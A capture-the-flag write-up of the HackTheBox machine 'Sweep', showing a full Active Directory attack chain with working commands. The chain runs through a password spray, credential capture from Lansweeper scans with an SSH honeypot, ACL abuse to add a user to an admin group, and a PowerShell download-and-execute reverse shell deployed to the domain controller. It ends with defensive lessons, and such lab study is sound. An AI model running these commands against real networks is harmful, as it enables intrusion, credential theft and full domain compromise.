Sweep - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Sweep is a medium difficulty Windows Active Directory machine that leverages Lansweeper, a technology asset intelligence platform, as the primary attack vector. The machine demonstrates a chain of misconfigurations: an enabled guest account grants access to Lansweeper, which has Map Credentials configured for scanning network assets. By deploying a honeypot SSH server, credentials for the svc_inventory_lnx service account are captured. This account belongs to the Lansweeper Discovery group, which holds GenericAll ACL permissions over the Lansweeper Admins group. Through ACL abuse, the attacker elevates to admin privileges within Lansweeper, then deploys a malicious package to the Domain Controller for complete system compromise.

TL;DR: Guest account → Lansweeper access → SSH honeypot credentials → ACL abuse → Group membership escalation → Lansweeper admin → Malicious deployment package → SYSTEM shell.

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.234.176 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration
nmap -Pn -p$ports -sC -sV 10.129.234.176

Results:

The presence of DNS, Kerberos, LDAP, and RDP services confirms this is a Domain Controller for the sweep.vl domain.

Service Enumeration

Guest Account Verification:

netexec smb 10.129.234.176 -u guest -p ''

SMB         10.129.234.176  445    INVENTORY        [*] Windows Server 2022 Build 20348 x64
SMB         10.129.234.176  445    INVENTORY        [+] sweep.vl\guest:

The guest account is enabled and accessible with a null password.

RID Brute Force for Username Enumeration:

netexec smb 10.129.234.176 -u guest -p '' --rid-brute 9999

Extracted usernames include:

• jgre808, bcla614, hmar648, jgar931, fcla801, jwil197, grob171, fdav736, jsmi791, hjoh690
• svc_inventory_win
• svc_inventory_lnx
• intern

Vulnerability Assessment

1. Enabled Guest Account: Allows unauthenticated SMB access and enumeration
2. Lansweeper Misconfiguration: Map Credentials stored insecurely, accessible via Lansweeper dashboard
3. ACL Misconfiguration: Lansweeper Discovery group has GenericAll over Lansweeper Admins group
4. Weak Credentials: User intern has password equal to username
5. Lansweeper Deployment: Administrative package deployment to systems allows arbitrary command execution

Initial Foothold

Exploitation Path

Step 1: Credential Discovery via Password Spray

# Create a file with extracted usernames
cat > users.txt << EOF
jgre808
bcla614
hmar648
jgar931
fcla801
jwil197
grob171
fdav736
jsmi791
hjoh690
svc_inventory_win
svc_inventory_lnx
intern
EOF

# Attempt password spray with username=password
netexec smb 10.129.234.176 -u users.txt -p users.txt --no-bruteforce --continue-on-success

Result: sweep.vl\intern:intern credentials discovered.

Step 2: BloodHound Enumeration

bloodhound-python -u 'intern' -p 'intern' -d sweep.vl -c all --zip -ns 10.129.234.176

This reveals AD structure, group memberships, and ACL relationships.

Step 3: Lansweeper Access

Access the Lansweeper dashboard on port 81:

• Navigate to: http://10.129.234.176:81/login.aspx
• Login with credentials: intern:intern

Step 4: Configure Scanning Target

1. Navigate to Scanning → Scanning Targets
2. Create a new scanning target with IP Range pointing to attacker machine (e.g., 10.10.14.0/24)
3. Save the target configuration

Step 5: Deploy SSH Honeypot

The goal is to capture credentials when Lansweeper attempts to scan our machine with stored credentials.

# Download and run sshesame (SSH honeypot)
./sshesame-linux-amd64 -config sshesame.yaml

INFO 2025/07/30 12:00:04 No host keys configured, using keys at "/home/shashwat/.local/share/sshesame"
INFO 2025/07/30 12:00:04 Listening on [::]:1337

Step 6: Trigger Lansweeper Scan

1. Navigate to Scanning → Scanning Targets
2. Select the created target and click Scan Now
3. Lansweeper will attempt SSH connections using Map Credentials

Step 7: Capture Credentials

The honeypot logs will capture credentials:

2025/07/30 12:01:52 [10.129.234.176:60483] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted

Captured Credentials: svc_inventory_lnx:0|5m-U6?/uAX

Step 8: Verify Valid Domain Credentials

netexec smb 10.129.234.176 -u svc_inventory_lnx -p '0|5m-U6?/uAX'

SMB         10.129.234.176  445    INVENTORY        [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX

Credentials are valid for the domain.

Privilege Escalation

ACL Abuse and Group Membership Escalation

Step 1: Identify ACL Relationship

Through BloodHound analysis, we discover:

• svc_inventory_lnx is a member of Lansweeper Discovery group
• Lansweeper Discovery group has GenericAll ACL over Lansweeper Admins group
• Members of Lansweeper Admins group have admin privileges on Lansweeper dashboard

Step 2: Add User to Lansweeper Admins Group

Use svc_inventory_lnx credentials to add the intern user to Lansweeper Admins:

net rpc group addmem 'LANSWEEPER ADMINS' 'intern' -U 'sweep.vl/svc_inventory_lnx%0|5m-U6?/uAX' -S "10.129.234.176"

This leverages the GenericAll ACL permission that Lansweeper Discovery holds over the target group.

Step 3: Verify WinRM Access

netexec winrm 10.129.234.176 -u intern -p 'intern'

WINRM       10.129.234.176  5985   INVENTORY        [+] sweep.vl\intern:intern (Pwn3d!)

The intern user now has admin-level access.

Step 4: Establish WinRM Shell

evil-winrm -i 10.129.234.176 -u intern -p 'intern'

Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\intern\Documents>

Step 5: Retrieve User Flag

type C:\user.txt

Step 6: Escalate via Lansweeper Deployment Package

1. Re-login to Lansweeper dashboard with intern credentials (now in Lansweeper Admins group)

2. Navigate to Deployment → Deployment Packages

3. Create a new deployment package with the following steps:

   • Add Deployment Package Step → Select Command
   • Add reverse shell payload:

     powershell -NoP -W H -C "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/shell.ps1')"

4. Navigate to Scanning → Scanning Credentials and map credentials pointing to the Domain Controller

5. Click Deploy Now to execute the package on the DC

Step 7: Catch Reverse Shell

# Start netcat listener
nc -lnvp 1337

listening on [any] 1337 ...
connect to [10.10.14.67] from (UNKNOWN) [10.129.234.176] 60514
PS C:\Windows\system32>

Step 8: Verify SYSTEM Privileges

whoami /user

USER INFORMATION
----------------
User Name           SID
=================== ========
nt authority\system S-1-5-18

Step 9: Retrieve Root Flag

type C:\Users\Administrator\Desktop\root.txt

Attack Chain Summary

Guest Account Access
        ↓
Password Spray (intern:intern)
        ↓
Lansweeper Dashboard Access
        ↓
Configure Scanning Target (Attacker IP)
        ↓
SSH Honeypot Deployment (sshesame)
        ↓
Trigger Lansweeper Scan
        ↓
Capture Map Credentials (svc_inventory_lnx:0|5m-U6?/uAX)
        ↓
ACL Abuse (GenericAll on Lansweeper Admins)
        ↓
Add intern to Lansweeper Admins Group
        ↓
Lansweeper Admin Privileges
        ↓
Create Malicious Deployment Package
        ↓
Deploy to Domain Controller
        ↓
SYSTEM Shell & Root Flag

Tools Used

Key Learnings

Techniques Practiced

• Active Directory enumeration via guest account access and RID brute force
• Lansweeper asset management platform exploitation
• Honeypot deployment for credential harvesting
• ACL abuse and group membership escalation
• BloodHound analysis for privilege escalation paths
• Lansweeper deployment packages for code execution
• WinRM shell access and lateral movement

Lessons Learned

1. Guest Account Risk: Enabled guest accounts can be leveraged for initial reconnaissance and access; consider disabling them entirely in production environments.

2. Credential Storage in Asset Management Tools: Scanning tools like Lansweeper that store credentials must use encryption and strict access controls; Map Credentials should not be accessible to low-privileged users.

3. ACL Misconfiguration Impact: GenericAll ACL permissions are equivalent to “full control” and allow group membership manipulation; regularly audit ACLs, especially on sensitive groups like administrative groups.

4. Honeypot Effectiveness: Attackers can deploy honeypots to extract credentials from automated scanning and reconnaissance tools; monitor for unexpected connection attempts to non-existent services.

5. Deployment Package Risk: Administrative deployment features (like Lansweeper packages) can be weaponized for lateral movement and system compromise; restrict deployment capabilities to highly trusted admins only.

6. Chaining Misconfigurations: Individual vulnerabilities (weak password, misconfigured ACL, enabled guest) combine to create a critical attack chain; defense-in-depth is essential.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>